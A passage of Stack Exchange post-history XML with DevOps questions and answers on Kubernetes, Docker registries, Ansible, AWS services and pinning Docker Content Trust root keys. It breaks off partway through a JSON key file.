  <row Id="43965" PostHistoryTypeId="2" PostId="13973" RevisionGUID="44ab90ec-703a-4b20-b81a-73d40fabf329" CreationDate="2021-05-23T14:26:24.513" UserId="12614" Text="I've deployed selenium-grid in Kubernetes using Helm and configured the NodeMaxInstances to 10, meaning that each pod runs 10 browser instances.&#xD;&#xA;&#xD;&#xA;But for some reason, the first chrome pod that comes up (that is when replica count = 1), isn't affected by the NodeMaxInstances option that I've set to 9.&#xD;&#xA;&#xD;&#xA;When I set chrome.replicas to 10 for example, NodeMaxInstances for 9/10 of the pods are set properly and only one of them is left with NodeMaxInstances of 1.&#xD;&#xA;&#xD;&#xA;Example:&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;Any idea how can I make sure that all pods start with 10 browser instances?&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/C0IkE.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="43966" PostHistoryTypeId="1" PostId="13973" RevisionGUID="44ab90ec-703a-4b20-b81a-73d40fabf329" CreationDate="2021-05-23T14:26:24.513" UserId="12614" Text="Setting NodeMaxInstances in selenium affects all pods but one, why is that?" ContentLicense="CC BY-SA 4.0" />
  <row Id="43967" PostHistoryTypeId="3" PostId="13973" RevisionGUID="44ab90ec-703a-4b20-b81a-73d40fabf329" CreationDate="2021-05-23T14:26:24.513" UserId="12614" Text="&lt;kubernetes&gt;&lt;selenium&gt;&lt;selenium-grid&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43968" PostHistoryTypeId="5" PostId="13966" RevisionGUID="74a0c26d-f990-41b4-bb27-502beaf329b4" CreationDate="2021-05-23T15:19:04.367" UserId="12138" Comment="deleted 4 characters in body" Text="You can use AWS CLI and run the below command to get details of all ec2 instances in your account.&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;aws ec2 describe-instances&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;You can also use filters, if required. Please refer the [documentation][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.aws.amazon.com/cli/latest/reference/ec2/describe-instances.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="43969" PostHistoryTypeId="2" PostId="13974" RevisionGUID="400cd73c-578a-49fa-bb94-d916f0b5443a" CreationDate="2021-05-23T18:24:07.637" UserId="11288" Text="Your `mountPath` is creating a directory. Remove the file name ie `prometheus.yml` from the `mountPath`:&#xD;&#xA;&#xD;&#xA;```yaml&#xD;&#xA;...&#xD;&#xA;        volumeMounts:&#xD;&#xA;        - name: config-volume&#xD;&#xA;          mountPath: /etc/prometheus&#xD;&#xA;          subPath: prometheus.yml&#xD;&#xA;...&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Ref: &#xD;&#xA;* https://kubernetes.io/docs/concepts/storage/volumes/#using-subpath" ContentLicense="CC BY-SA 4.0" />
  <row Id="43970" PostHistoryTypeId="2" PostId="13975" RevisionGUID="84d46720-4800-4f34-93e0-b1fcc4a1c94c" CreationDate="2021-05-23T18:34:02.520" UserId="11288" Text="This doesn't look like `kube-state-metrics` but your node configuration/networking issue. You will need to debug node to node communication. I would start by checking on which nodes the `kube-state-metrics` is scheduled and launch a temporary pod on that node to see if you can access the API Server pod correctly. The error could be in subnet, security groups/ firewalls, or other networking and security-related components." ContentLicense="CC BY-SA 4.0" />
  <row Id="43971" PostHistoryTypeId="2" PostId="13976" RevisionGUID="1d2b7062-42f8-4395-9923-7893facd5bed" CreationDate="2021-05-23T18:43:05.330" UserId="27826" Text="I am trying to build a docker container but getting network connection error :&#xD;&#xA;&#xD;&#xA;    # docker build -t zhaochang/flaskarm64:1 .&#xD;&#xA;    Sending build context to Docker daemon  161.3kB&#xD;&#xA;    Step 1/9 : FROM arm64v8/alpine&#xD;&#xA;     ---&gt; 85b71a783ad3&#xD;&#xA;    Step 2/9 : RUN apk update&#xD;&#xA;     ---&gt; Using cache&#xD;&#xA;     ---&gt; b2337b7a3be6&#xD;&#xA;    Step 3/9 : RUN apk upgrade&#xD;&#xA;     ---&gt; Using cache&#xD;&#xA;     ---&gt; cf64ee0ae2ab&#xD;&#xA;    Step 4/9 : RUN apk add python3 py3-pip&#xD;&#xA;     ---&gt; Using cache&#xD;&#xA;     ---&gt; 05f228a79fe3&#xD;&#xA;    Step 5/9 : RUN mkdir -p /opt/exampleapp&#xD;&#xA;     ---&gt; Using cache&#xD;&#xA;     ---&gt; fc2cb657858a&#xD;&#xA;    Step 6/9 : COPY . /opt/exampleapp/&#xD;&#xA;     ---&gt; Using cache&#xD;&#xA;     ---&gt; 60e861919917&#xD;&#xA;    Step 7/9 : RUN pip3 install -r /opt/exampleapp/requirements.txt&#xD;&#xA;     ---&gt; Running in 455434c6e211&#xD;&#xA;    WARNING: Retrying (Retry(total=4, connect=None, read=None, redirect=None, status=None)) after connection broken by 'NewConnectionError('&lt;pip._vendor.urllib3.connection.HTTPSConnection object at 0x7f86d148e0&gt;: Failed to establish a new connection: [Errno -3] Try again')': /simple/flask/&#xD;&#xA;    WARNING: Retrying (Retry(total=3, connect=None, read=None, redirect=None, status=None)) after connection broken by 'NewConnectionError('&lt;pip._vendor.urllib3.connection.HTTPSConnection object at 0x7f86d14af0&gt;: Failed to establish a new connection: [Errno -3] Try again')': /simple/flask/&#xD;&#xA;    WARNING: Retrying (Retry(total=2, connect=None, read=None, redirect=None, status=None)) after connection broken by 'NewConnectionError('&lt;pip._vendor.urllib3.connection.HTTPSConnection object at 0x7f86d14ca0&gt;: Failed to establish a new connection: [Errno -3] Try again')': /simple/flask/&#xD;&#xA;    WARNING: Retrying (Retry(total=1, connect=None, read=None, redirect=None, status=None)) after connection broken by 'NewConnectionError('&lt;pip._vendor.urllib3.connection.HTTPSConnection object at 0x7f86d14e50&gt;: Failed to establish a new connection: [Errno -3] Try again')': /simple/flask/&#xD;&#xA;    WARNING: Retrying (Retry(total=0, connect=None, read=None, redirect=None, status=None)) after connection broken by 'NewConnectionError('&lt;pip._vendor.urllib3.connection.HTTPSConnection object at 0x7f86e8a040&gt;: Failed to establish a new connection: [Errno -3] Try again')': /simple/flask/&#xD;&#xA;    ERROR: Could not find a version that satisfies the requirement Flask==0.12.2&#xD;&#xA;    ERROR: No matching distribution found for Flask==0.12.2&#xD;&#xA;    The command '/bin/sh -c pip3 install -r /opt/exampleapp/requirements.txt' returned a non-zero code: 1&#xD;&#xA;&#xD;&#xA;from the host machine ubuntu where I am running this command I can ping and the ufw is inactive." ContentLicense="CC BY-SA 4.0" />
  <row Id="43972" PostHistoryTypeId="1" PostId="13976" RevisionGUID="1d2b7062-42f8-4395-9923-7893facd5bed" CreationDate="2021-05-23T18:43:05.330" UserId="27826" Text="Getting network connection error when trying to build docker container" ContentLicense="CC BY-SA 4.0" />
  <row Id="43973" PostHistoryTypeId="3" PostId="13976" RevisionGUID="1d2b7062-42f8-4395-9923-7893facd5bed" CreationDate="2021-05-23T18:43:05.330" UserId="27826" Text="&lt;docker&gt;&lt;containers&gt;&lt;alpine&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43974" PostHistoryTypeId="34" PostId="13888" RevisionGUID="4a52a494-4645-45ce-baf2-13a3d32d1807" CreationDate="2021-05-24T01:03:50.397" UserId="-1" Comment="73" />
  <row Id="43975" PostHistoryTypeId="5" PostId="13974" RevisionGUID="422e5234-f232-4edc-bb6d-247652334f8e" CreationDate="2021-05-24T02:06:40.983" UserId="11288" Comment="added 525 characters in body" Text="`volumeMount` based on `configMap` actually creates the files for the data keys. You don't need the filename in the `mountPath` or the `subPath`&#xD;&#xA;&#xD;&#xA;```bash&#xD;&#xA;$ cat &lt;&lt;EOF | kubectl apply -f -&#xD;&#xA;apiVersion: v1&#xD;&#xA;data:&#xD;&#xA;  settings.conf: |&#xD;&#xA;    test: config&#xD;&#xA;    multi: line&#xD;&#xA;kind: ConfigMap&#xD;&#xA;metadata:&#xD;&#xA;  name: test-config&#xD;&#xA;---&#xD;&#xA;apiVersion: v1&#xD;&#xA;kind: Pod&#xD;&#xA;metadata:&#xD;&#xA;  name: dapi-test-pod&#xD;&#xA;spec:&#xD;&#xA;  containers:&#xD;&#xA;    - name: test-container&#xD;&#xA;      image: k8s.gcr.io/busybox&#xD;&#xA;      command: [ &quot;/bin/sh&quot;, &quot;-c&quot;, &quot;ls /etc/config/&quot; ]&#xD;&#xA;      volumeMounts:&#xD;&#xA;      - name: config-volume&#xD;&#xA;        mountPath: /etc/config&#xD;&#xA;  restartPolicy: Never&#xD;&#xA;  volumes:&#xD;&#xA;    - name: config-volume&#xD;&#xA;      configMap:&#xD;&#xA;        name: test-config&#xD;&#xA;EOF&#xD;&#xA;&#xD;&#xA;$ kubectl logs dapi-test-pod&#xD;&#xA;settings.conf&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Ref: &#xD;&#xA;* https://kubernetes.io/docs/tasks/configure-pod-container/configure-pod-configmap/" ContentLicense="CC BY-SA 4.0" />
  <row Id="43976" PostHistoryTypeId="2" PostId="13977" RevisionGUID="23c2e855-2d1f-42b2-9196-6aeb04190650" CreationDate="2021-05-24T06:18:24.020" UserId="27758" Text="I am trying to get a `compare and contrast` of various job processing services in AWS like AWS Batch, MWAA (Managed Workflow for Apache Airflow).&#xD;&#xA;&#xD;&#xA;Both are used for processing jobs. Just trying to understand when we should go for Batch and when we should go for MWAA.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43977" PostHistoryTypeId="1" PostId="13977" RevisionGUID="23c2e855-2d1f-42b2-9196-6aeb04190650" CreationDate="2021-05-24T06:18:24.020" UserId="27758" Text="When to use Apache Airflow (MWAA) in AWS instead of AWS Batch?" ContentLicense="CC BY-SA 4.0" />
  <row Id="43978" PostHistoryTypeId="3" PostId="13977" RevisionGUID="23c2e855-2d1f-42b2-9196-6aeb04190650" CreationDate="2021-05-24T06:18:24.020" UserId="27758" Text="&lt;amazon-web-services&gt;&lt;apache-airflow&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43979" PostHistoryTypeId="50" PostId="13734" RevisionGUID="e09abd7f-a837-4201-a0cf-d33cc50e4f0e" CreationDate="2021-05-24T08:04:30.490" UserId="-1" />
  <row Id="43980" PostHistoryTypeId="2" PostId="13978" RevisionGUID="25bf8799-95cc-473f-9814-6098abb8453a" CreationDate="2021-05-24T10:49:57.387" UserId="27848" Text="I am a newbie in k8s. I have a .net framework application written in C# running in K8s orchestration. I simply want to check in fixed interval (lets say in every 300sec) that my application which is running inside pod is responding or not.&lt;br/&gt;&#xD;&#xA;Can anyone suggest how to implement this ? " ContentLicense="CC BY-SA 4.0" />
  <row Id="43981" PostHistoryTypeId="1" PostId="13978" RevisionGUID="25bf8799-95cc-473f-9814-6098abb8453a" CreationDate="2021-05-24T10:49:57.387" UserId="27848" Text="How to check application responding in Kubernetes" ContentLicense="CC BY-SA 4.0" />
  <row Id="43982" PostHistoryTypeId="3" PostId="13978" RevisionGUID="25bf8799-95cc-473f-9814-6098abb8453a" CreationDate="2021-05-24T10:49:57.387" UserId="27848" Text="&lt;kubernetes&gt;&lt;dotnet&gt;&lt;healthcheck&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43984" PostHistoryTypeId="2" PostId="13979" RevisionGUID="32dc1cdb-9509-4069-849b-db961bd97991" CreationDate="2021-05-24T14:26:20.113" UserId="11288" Text="Kubernetes supports TCP, HTTP, and shell-exec [probes][1] for an application startup, readiness, and liveness [health checks][2]. If your application is a web application, you can use HTTP based liveness healthcheck as shown in the following code snippet: &#xD;&#xA;&#xD;&#xA;```yaml&#xD;&#xA;apiVersion: v1&#xD;&#xA;kind: Pod&#xD;&#xA;metadata:&#xD;&#xA;  labels:&#xD;&#xA;    test: liveness&#xD;&#xA;  name: liveness-http&#xD;&#xA;spec:&#xD;&#xA;  containers:&#xD;&#xA;  - name: liveness&#xD;&#xA;    image: k8s.gcr.io/liveness&#xD;&#xA;    args:&#xD;&#xA;    - /server&#xD;&#xA;    livenessProbe:&#xD;&#xA;      httpGet:&#xD;&#xA;        path: /healthz&#xD;&#xA;        port: 8080&#xD;&#xA;      initialDelaySeconds: 3&#xD;&#xA;      periodSeconds: 300&#xD;&#xA;```&#xD;&#xA;  [1]: https://kubernetes.io/docs/concepts/workloads/pods/pod-lifecycle/#container-probes&#xD;&#xA;  [2]: https://kubernetes.io/docs/tasks/configure-pod-container/configure-liveness-readiness-startup-probes/" ContentLicense="CC BY-SA 4.0" />
  <row Id="43988" PostHistoryTypeId="2" PostId="13981" RevisionGUID="0703a51f-63ec-4891-83ff-2f423e302c78" CreationDate="2021-05-24T15:44:19.287" UserId="4328" Text="AWS MWAA uses Apache Airflow to create workflows and DAGS (Directed Acyclic Graphs) with Python to orchestrate complex, dependent tasks. AWS Batch is, as the name states, a batch processing services that utilizes docker containers. Batch allows you to manage instance types and container sizes to fine tune costs of workloads. Batch unlike MWAA does not utilize any orchestration service, so apart from the queue that it utilizes, there is no way to control the workflow of tasks.&#xD;&#xA;&#xD;&#xA;If you have a job that requires [complex workflows][1], AWS MWAA will reduce the complexity of managing those workflows. If you require large scale containerized processing for image analysis, data conversion, etc., AWS Batch will allow you to easily control your workloads to optimize speed and cost. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;It should also be noted that [AWS Step Functions][2] is also a very efficient way to orchestrate various types of processing and application tasks. For simple tasks, there is very little overhead and management compared to AWS Batch or MWAA. &#xD;&#xA;&#xD;&#xA;  [1]: https://docs.aws.amazon.com/mwaa/latest/userguide/what-is-mwaa.html#workflows&#xD;&#xA;  [2]: https://aws.amazon.com/step-functions/?step-functions.sort-by=item.additionalFields.postDateTime&amp;step-functions.sort-order=desc" ContentLicense="CC BY-SA 4.0" />
  <row Id="43989" PostHistoryTypeId="2" PostId="13982" RevisionGUID="2444ab0d-2c28-47c3-adbc-cbb92daecc56" CreationDate="2021-05-24T16:53:04.137" UserId="27860" Text="I am using docker version - `18.09` with kubectl version `v1.21.1` on `Ubuntu 18.04.5 LTS`. I am trying to work with a private insecure docker registry at `10.106.58.220:5000`&#xD;&#xA;&#xD;&#xA;Modified `/etc/docker/daemon.json`:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;{&#xD;&#xA;&quot;debug&quot;: true,&#xD;&#xA;&quot;insecure-registries&quot;: [&quot;10.106.58.220:5000&quot;],&#xD;&#xA;&quot;tls&quot;: false&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;modified `/etc/default/docker`:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;DOCKER_OPTS=&quot;--config-file=/etc/docker/daemon.json&quot;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;`sudo systemctl daemon-reload &amp;&amp; sudo systemctl restart docker`&#xD;&#xA;&#xD;&#xA;I do this on all nodes and I can see `Insecure Registries` populated: `docker info`&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;Insecure Registries:&#xD;&#xA; 10.106.58.220:5000&#xD;&#xA; 127.0.0.0/8&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;With this, I can push &amp;&amp; pull from the Insecure registry:&#xD;&#xA;```&#xD;&#xA;docker push 10.106.58.220:5000/testapp&#xD;&#xA;docker rmi 10.106.58.220:5000/testapp&#xD;&#xA;docker pull 10.106.58.220:5000/testapp&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;So far so good. However, on trying to pull via kubectl, I get an `ImagePullBackoff` error:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;kubectl create deployment test --image=10.106.58.220:5000/testapp:latest&#xD;&#xA;&#xD;&#xA;Events:&#xD;&#xA;  Type     Reason     Age                From               Message&#xD;&#xA;  ----     ------     ----               ----               -------&#xD;&#xA;  Normal   Scheduled  12s                default-scheduler  Successfully assigned default/test-67988c5796-522wx to worker&#xD;&#xA;  Normal   Pulling    11s                kubelet            Pulling image &quot;10.106.58.220:5000/testapp:latest&quot;&#xD;&#xA;  Warning  Failed     11s                kubelet            Failed to pull image &quot;10.106.58.220:5000/testapp:latest&quot;: rpc error: code = Unknown desc = error pinging docker registry 10.106.58.220:5000: Get &quot;https://10.106.58.220:5000/v2/&quot;: http: server gave HTTP response to HTTPS client&#xD;&#xA;  Warning  Failed     11s                kubelet            Error: ErrImagePull&#xD;&#xA;  Normal   BackOff    10s (x2 over 11s)  kubelet            Back-off pulling image &quot;10.106.58.220:5000/testapp:latest&quot;&#xD;&#xA;  Warning  Failed     10s (x2 over 11s)  kubelet            Error: ImagePullBackOff&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;`kubectl` still seems to attempt over the `https` endpoint? How can I fix this?&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43990" PostHistoryTypeId="1" PostId="13982" RevisionGUID="2444ab0d-2c28-47c3-adbc-cbb92daecc56" CreationDate="2021-05-24T16:53:04.137" UserId="27860" Text="docker push/pull works with insecure registry, but kubectl fails with ImagePullBackOff" ContentLicense="CC BY-SA 4.0" />
  <row Id="43991" PostHistoryTypeId="3" PostId="13982" RevisionGUID="2444ab0d-2c28-47c3-adbc-cbb92daecc56" CreationDate="2021-05-24T16:53:04.137" UserId="27860" Text="&lt;docker&gt;&lt;kubernetes&gt;&lt;kubectl&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43993" PostHistoryTypeId="2" PostId="13983" RevisionGUID="7e3cc822-2b87-4355-9fe8-1096a9dfacc2" CreationDate="2021-05-24T17:24:50.153" UserId="27857" Text="In Ansible I'm trying to generate a variable from a task on one host and then use the variable to do something to another host. Specifically, I'm trying to create a Kubernetes cluster - On the control plane node I can save the join command into a variable, but this appears to be scoped to the source host only - I can't work out how to access that variable from another host.&#xD;&#xA;&#xD;&#xA;    - name: read join command from the controlPlane&#xD;&#xA;      shell: kubeadm token create --print-join-command&#xD;&#xA;      when: inventory_hostname in groups['controlPlane']&#xD;&#xA;      register: joinCmd&#xD;&#xA;&#xD;&#xA;    - name: join worker nodes to cluster&#xD;&#xA;      command: &quot;{{ joinCmd.stdout }}&quot;&#xD;&#xA;      when: inventory_hostname in groups['workerNodes']&#xD;&#xA;&#xD;&#xA;The above fails on the second task (*The task includes an option with an undefined variable. the error was: 'dict object' has no attribute 'stdout'*). The standard approach seems to be save the line to a file locally, copy the file to the worker nodes and execute it locally which seems cumbersome (and leaves the join token lying around). How can I achieve this with variables only?&#xD;&#xA;&#xD;&#xA;thanks,&#xD;&#xA;&#xD;&#xA;Jim&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43994" PostHistoryTypeId="1" PostId="13983" RevisionGUID="7e3cc822-2b87-4355-9fe8-1096a9dfacc2" CreationDate="2021-05-24T17:24:50.153" UserId="27857" Text="Ansible - declaring global variables from task register" ContentLicense="CC BY-SA 4.0" />
  <row Id="43995" PostHistoryTypeId="3" PostId="13983" RevisionGUID="7e3cc822-2b87-4355-9fe8-1096a9dfacc2" CreationDate="2021-05-24T17:24:50.153" UserId="27857" Text="&lt;kubernetes&gt;&lt;ansible&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43996" PostHistoryTypeId="50" PostId="9103" RevisionGUID="5a2ba11a-abcc-43fc-9487-aa03f4de81fa" CreationDate="2021-05-24T23:03:05.303" UserId="-1" />
  <row Id="43997" PostHistoryTypeId="2" PostId="13984" RevisionGUID="f7dc1d0e-41f4-4d57-b752-6eabd2a2892b" CreationDate="2021-05-25T02:51:23.657" UserId="27869" Text="One of our partners has a requirement that we be able to delete any data sourced from them on request, including from backups. The backups are taken daily, and are stored on S3 for up to a year.&#xD;&#xA;&#xD;&#xA;It seems impractical and expensive to load all of the database dumps for the last year, filter out the data, take new dumps, and replace the existing backups. Are there backup systems available to deal with these kinds of requirements, and allow easy filtering and manipulation of backed-up data? " ContentLicense="CC BY-SA 4.0" />
  <row Id="43998" PostHistoryTypeId="1" PostId="13984" RevisionGUID="f7dc1d0e-41f4-4d57-b752-6eabd2a2892b" CreationDate="2021-05-25T02:51:23.657" UserId="27869" Text="How to purge selected data on request from PostgreSQL backups stored on S3?" ContentLicense="CC BY-SA 4.0" />
  <row Id="43999" PostHistoryTypeId="3" PostId="13984" RevisionGUID="f7dc1d0e-41f4-4d57-b752-6eabd2a2892b" CreationDate="2021-05-25T02:51:23.657" UserId="27869" Text="&lt;amazon-s3&gt;&lt;postgresql&gt;&lt;backup&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="44001" PostHistoryTypeId="2" PostId="13985" RevisionGUID="5eaf1a2f-326b-4ffe-a47a-cc08130b0c78" CreationDate="2021-05-25T09:40:13.633" UserId="27857" Text="I found a solution - the trick here is *delegate_to* and *delegate_facts*:&#xD;&#xA;&#xD;&#xA;    - hosts: all&#xD;&#xA;      remote_user: ansible&#xD;&#xA;      become: false&#xD;&#xA;&#xD;&#xA;      tasks:&#xD;&#xA;      - name: read join line from controlPlane&#xD;&#xA;        shell: kubeadm token create --print-join-command&#xD;&#xA;        when: inventory_hostname in groups['workerNodes']&#xD;&#xA;        register: joinCmd&#xD;&#xA;        delegate_to: &quot;{{ item }}&quot;&#xD;&#xA;        delegate_facts: true&#xD;&#xA;        with_items: &quot;{{ groups['controlPlane'] }}&quot;&#xD;&#xA;&#xD;&#xA;      - name: join all worker nodes to cluster&#xD;&#xA;        command: &quot;{{ joinCmd.results[0].stdout }}&quot;&#xD;&#xA;        become: yes&#xD;&#xA;        when: inventory_hostname in groups['workerNodes']&#xD;&#xA;&#xD;&#xA;The first task kind of reads backwards to my mind - *when* says 'run this task on all the  workerNode hosts...' but *delegate_to* says '..but actually run it on a different host'. It works for me though (I've only got 1 host in controlPlane group, not sure of outcome with more hosts)." ContentLicense="CC BY-SA 4.0" />
  <row Id="44002" PostHistoryTypeId="50" PostId="13760" RevisionGUID="f2363186-0f0d-4c8f-abf9-b3cac7664006" CreationDate="2021-05-25T12:06:45.590" UserId="-1" />
  <row Id="44003" PostHistoryTypeId="2" PostId="13986" RevisionGUID="cf10d759-4c8f-43a5-8695-a76e400d34ec" CreationDate="2021-05-25T12:11:28.060" UserId="27853" Text="I've got an app that's locally is being started by simply running `docker-compose up` command.&#xD;&#xA;Now i need to make a deployment to GCP. I've already connected Bitbucket repository and tried to follow this tutorial - https://cloud.google.com/functions/docs/deploying/repo. Unfortunately it doesn't consider an option of starting the app that is in a container.&#xD;&#xA;&#xD;&#xA;Could you please guide me what would be the best fit in my case? Any help appreciated. Thanks." ContentLicense="CC BY-SA 4.0" />
  <row Id="44004" PostHistoryTypeId="1" PostId="13986" RevisionGUID="cf10d759-4c8f-43a5-8695-a76e400d34ec" CreationDate="2021-05-25T12:11:28.060" UserId="27853" Text="Deploying to GCP an app that is locally statted in docker" ContentLicense="CC BY-SA 4.0" />
  <row Id="44005" PostHistoryTypeId="3" PostId="13986" RevisionGUID="cf10d759-4c8f-43a5-8695-a76e400d34ec" CreationDate="2021-05-25T12:11:28.060" UserId="27853" Text="&lt;gcp&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="44006" PostHistoryTypeId="4" PostId="13986" RevisionGUID="076bea39-9adf-4421-b834-9eee8a185dbc" CreationDate="2021-05-25T13:15:41.807" UserId="27853" Comment="edited title" Text="Deploying to GCP an app that is locally started in docker" ContentLicense="CC BY-SA 4.0" />
  <row Id="44007" PostHistoryTypeId="2" PostId="13987" RevisionGUID="ce7547d5-4848-4870-baef-84a665da10b6" CreationDate="2021-05-25T14:21:20.703" UserId="22501" Text="How can I execute `docker pull` (with Docker Content Trust enabled) such that it fails if the image doesn't have a valid signature using the private key corresponding to (or subordinate to) the public key that I provide?&#xD;&#xA;&#xD;&#xA;I just discovered that, in fact, [DCT silently and dumbly downloads and trusts (TOFU) the root key when downloading an image for the first time.][1]&#xD;&#xA;&#xD;&#xA;My application for docker is a CI process that will use the `debian:stable-latest` docker image to build my application's releases in ephemeral cloud instances. Because the server used to build my application is ephemeral, DCT literally provides me zero security and it will be vulnerable to a MITM of the docker image payload on *every* execution of my build process.&#xD;&#xA;&#xD;&#xA;Therefore, it's critical that I pin the public root key used by Debian to sign their docker images. So the questions are:&#xD;&#xA;&#xD;&#xA;1. How do I download the public root key used by Debian to sign their docker images and&#xD;&#xA;1. How do I tell `docker pull` to use the above key and fail if the image doesn't contain a valid signature from that key or a key that's downchain from the supplied root key?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://security.stackexchange.com/questions/238529/how-to-list-all-of-the-known-root-keys-in-docker-docker-content-trust" ContentLicense="CC BY-SA 4.0" />
  <row Id="44008" PostHistoryTypeId="1" PostId="13987" RevisionGUID="ce7547d5-4848-4870-baef-84a665da10b6" CreationDate="2021-05-25T14:21:20.703" UserId="22501" Text="How to pin public root key when downloading an image with docker pull (Docker Content Trust)?" ContentLicense="CC BY-SA 4.0" />
  <row Id="44009" PostHistoryTypeId="3" PostId="13987" RevisionGUID="ce7547d5-4848-4870-baef-84a665da10b6" CreationDate="2021-05-25T14:21:20.703" UserId="22501" Text="&lt;docker&gt;&lt;linux&gt;&lt;release-management&gt;&lt;docker-registry&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="44010" PostHistoryTypeId="2" PostId="13988" RevisionGUID="e58e1511-8ae3-48a2-adf4-21c90fd7594e" CreationDate="2021-05-25T14:36:48.930" UserId="22501" Text="## tl;dr&#xD;&#xA;You can execute the following to pin the public root key for `debian`:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;sudo su -&#xD;&#xA;mkdir -p /root/.docker/trust/tuf/docker.io/library/debian/metadata&#xD;&#xA;chown -R root:root /root/.docker&#xD;&#xA;chmod -R 0700 /root/.docker&#xD;&#xA;cat &gt; /root/.docker/trust/tuf/docker.io/library/debian/metadata/root.json &lt;&lt;'EOF'&#xD;&#xA;{&quot;signed&quot;:{&quot;_type&quot;:&quot;Root&quot;,&quot;consistent_snapshot&quot;:false,&quot;expires&quot;:&quot;2025-08-07T20:55:22.677722315-07:00&quot;,&quot;keys&quot;:{&quot;5717dcd81d9fb5b73aa15f2d887a6a0de543829ab9b2d411acce9219c2f8ba3a&quot;:{&quot;keytype&quot;:&quot;ecdsa&quot;,&quot;keyval&quot;:{&quot;private&quot;:null,&quot;public&quot;:&quot;MFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAEsslGF2xHOYztrocb2OsRF2zth16v170QiLAyKdce1nQgOJ34FOk679ClPL9/RNnJukf2JfQXSlVV/qcsvxV2dQ==&quot;}},&quot;575d013f89e3cbbb19e0fb06aa33566c22718318e0c9ffb1ab5cc4291e07bf84&quot;:{&quot;keytype&quot;:&quot;ecdsa-x509&quot;,&quot;keyval&quot;:{&quot;private&quot;:null,&quot;public&quot;:&quot;LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSUJlVENDQVIrZ0F3SUJBZ0lRWExkUFFHTGJaOE84UXFlTzVuZlBRekFLQmdncWhrak9QUVFEQWpBak1TRXcKSHdZRFZRUURFeGhrYjJOclpYSXVhVzh2YkdsaWNtRnllUzlrWldKcFlXNHdIaGNOTVRVd09ERXhNRE0xTlRJeQpXaGNOTWpVd09EQTRNRE0xTlRJeVdqQWpNU0V3SHdZRFZRUURFeGhrYjJOclpYSXVhVzh2YkdsaWNtRnllUzlrClpXSnBZVzR3V1RBVEJnY3Foa2pPUFFJQkJnZ3Foa2pPUFFNQkJ3TkNBQVE1ZGkxcmxPQjBMQmRNS2N0VFQxYmwKUGd6aXYxOUJDdW9tNEFNL3BUdURtdjBnS0E5S1ptNUVjLy9VQmhSODVCYmR0cTk0cXhQM3IwUjhRc3FQV1Y4SQpvelV3TXpBT0JnTlZIUThCQWY4RUJBTUNBS0F3RXdZRFZSMGxCQXd3Q2dZSUt3WUJCUVVIQXdNd0RBWURWUjBUCkFRSC9CQUl3QURBS0JnZ3Foa2pPUFFRREFnTklBREJGQWlBOUFOZ3dPN2tBdUVIK3U2N25XNlFLWmlMdWd5UVcKaEQ3Vys5WjIza01mTndJaEFJa3RTaW1TdFdRQkFoOG9WOXhjaWNVWWVUN0pyUG82a0RqeHU1YitGZ3MxCi0tLS0tRU5EIENFUlRJRklDQVRFLS0tLS0K&quot;}},&quot;728c96ff5e9f48d4e66d5a0c3ecabfdd90bee2b5f9f80b950ed9c668db264a70&quot;:{&quot;keytype&quot;:&quot;ecdsa&quot;,&quot;keyval&quot;:{&quot;private&quot;:null,&quot;public&quot;:&quot;MFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAENtpBkDJ2oYaAAVdOkP0A6J0XwUkYGuFRk+q8N4WCPu2VnNIuBJkatPCWdEtHfQ9nNYLeanWgG62/UmJnx3E2Yg==&quot;}},&quot;d48327d85f0490827db7c931eedb58d293e1da5fc425ea0cde3e6c13b397ad69&quot;:{&quot;keytype&quot;:&quot;ecdsa&quot;,&quot;keyval&quot;:{&quot;private&quot;:null,&quot;public&quot;:&quot;MFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAEwfs26T/cpjvNTXVJpK7Wv8oDOnNKL78AT3Y1QD356OIAggwPupX2LQjZU6CVzCjm+pkJIO4clu9Q2n540gKuzQ==&quot;}}},&quot;roles&quot;:{&quot;root&quot;:{&quot;keyids&quot;:[&quot;575d013f89e3cbbb19e0fb06aa33566c22718318e0c9ffb1ab5cc4291e07bf84&quot;],&quot;threshold&quot;:1},&quot;snapshot&quot;:{&quot;keyids&quot;:[&quot;d48327d85f0490827db7c931eedb58d293e1da5fc425ea0cde3e6c13b397ad69&quot;],&quot;threshold&quot;:1},&quot;targets&quot;:{&quot;keyids&quot;:[&quot;5717dcd81d9fb5b73aa15f2d887a6a0de543829ab9b2d411a